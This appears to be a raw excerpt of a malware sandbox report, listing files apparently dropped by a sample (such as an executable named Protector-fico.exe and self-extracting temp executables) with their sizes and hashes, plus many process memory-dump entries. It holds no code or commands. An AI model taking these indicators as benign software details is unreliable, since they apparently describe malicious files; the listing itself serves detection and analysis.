SHA1bcad319b994459b7c518d218042d19bd8d213d1c
SHA256416ed6e2cc128028e6fc402deaeeeda1a7979fbf3eb3d1a3e014c8381ab6dff9
SHA512f717e3899e8980d9f6217f121598a0e0b56e10b6f03984bfe67080c9f3c9d0125f34fe366148ec2559f110a30df5357cdaef5a0f994e8a2308327c601f21b50b
-
C:\Users\Admin\AppData\Roaming\Protector-fico.exeFilesize
1.2MB
MD52330c7233d8d1933d98d59a29d9b1e85
SHA1ba6055d2d598df3e15ce71cc334ac2017f764189
SHA256f1649085e7305793a35ae579d253226ad245c492d80b609fb725e5a2c21ce656
SHA512f989e90fd78f317f32bcc7b110035f8fea95a62d4e13244c8e0ae331c675f17f9537ee90da8e3b46986fa4a8932a609de9a3bd0b096b42a47001c869ae7ff113
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exeFilesize
128KB
MD5886f5bcf8e66759c884a4a6f86997e8d
SHA1cd9488f2297ae99ee5cce18f4f180429e2caccf9
SHA256c91962f1d2915dc8a0bc268ad34f715bd71c047fb40a81ae5f71c8d29a3a7251
SHA5121d2e656f232384010cea05944a2199ffb38946cf7f2e4325cd35aa12c464601d8dfcd45616435b41ef84568cafcc0e6f82ecc2f7d9413917164bbb467a7e6246
-
\Users\Admin\AppData\Local\Temp\RarSFX1\3b5251xmf2ng2b8.exeFilesize
2.0MB
MD5db186145ea00cb748e66f0a6d8e58a16
SHA12d702d5927409083400251449109fef68d49abde
SHA256950defc4ec5ff5bccd695a3fe101be04c190df70ca91a49c3415836853f80242
SHA512b2aa3c2044cf375bfbabfafa66daf706cf97f6006528f8dac53096fadf93feaa03ee168c7871bc592ff365617412c6ee653ed362a8c4aa8b57a117dc5f3d47fe
-
memory/2088-21-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2088-39-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2088-22-0x0000000000C30000-0x0000000000C8A000-memory.dmpFilesize
360KB
-
memory/2088-26-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/2088-27-0x0000000000BE0000-0x0000000000BE1000-memory.dmpFilesize
4KB
-
memory/2088-25-0x00000000001D0000-0x00000000001D1000-memory.dmpFilesize
4KB
-
memory/2088-24-0x0000000003420000-0x0000000003423000-memory.dmpFilesize
12KB
-
memory/2088-23-0x0000000003430000-0x0000000003432000-memory.dmpFilesize
8KB
-
memory/2088-19-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2088-41-0x0000000000C30000-0x0000000000C8A000-memory.dmpFilesize
360KB
-
memory/2168-52-0x0000000004240000-0x0000000004250000-memory.dmpFilesize
64KB
-
memory/2168-76-0x0000000000370000-0x0000000000371000-memory.dmpFilesize
4KB
-
memory/2168-37-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-40-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-42-0x0000000000370000-0x0000000000371000-memory.dmpFilesize
4KB
-
memory/2168-91-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-90-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-89-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-50-0x0000000004240000-0x0000000004250000-memory.dmpFilesize
64KB
-
memory/2168-88-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-69-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-70-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-71-0x00000000002C0000-0x000000000031A000-memory.dmpFilesize
360KB
-
memory/2168-74-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-75-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-38-0x00000000002C0000-0x000000000031A000-memory.dmpFilesize
360KB
-
memory/2168-77-0x0000000004240000-0x0000000004250000-memory.dmpFilesize
64KB
-
memory/2168-78-0x0000000004240000-0x0000000004250000-memory.dmpFilesize
64KB
-
memory/2168-79-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-81-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-82-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-83-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-84-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-85-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-86-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2168-87-0x0000000000400000-0x0000000000831000-memory.dmpFilesize
4.2MB
-
memory/2284-53-0x0000000003210000-0x0000000003641000-memory.dmpFilesize
4.2MB
-
memory/2284-20-0x0000000003210000-0x0000000003641000-memory.dmpFilesize
4.2MB
-
memory/2284-49-0x0000000003210000-0x000000000326D000-memory.dmpFilesize
372KB
-
memory/2284-18-0x0000000003210000-0x0000000003641000-memory.dmpFilesize
4.2MB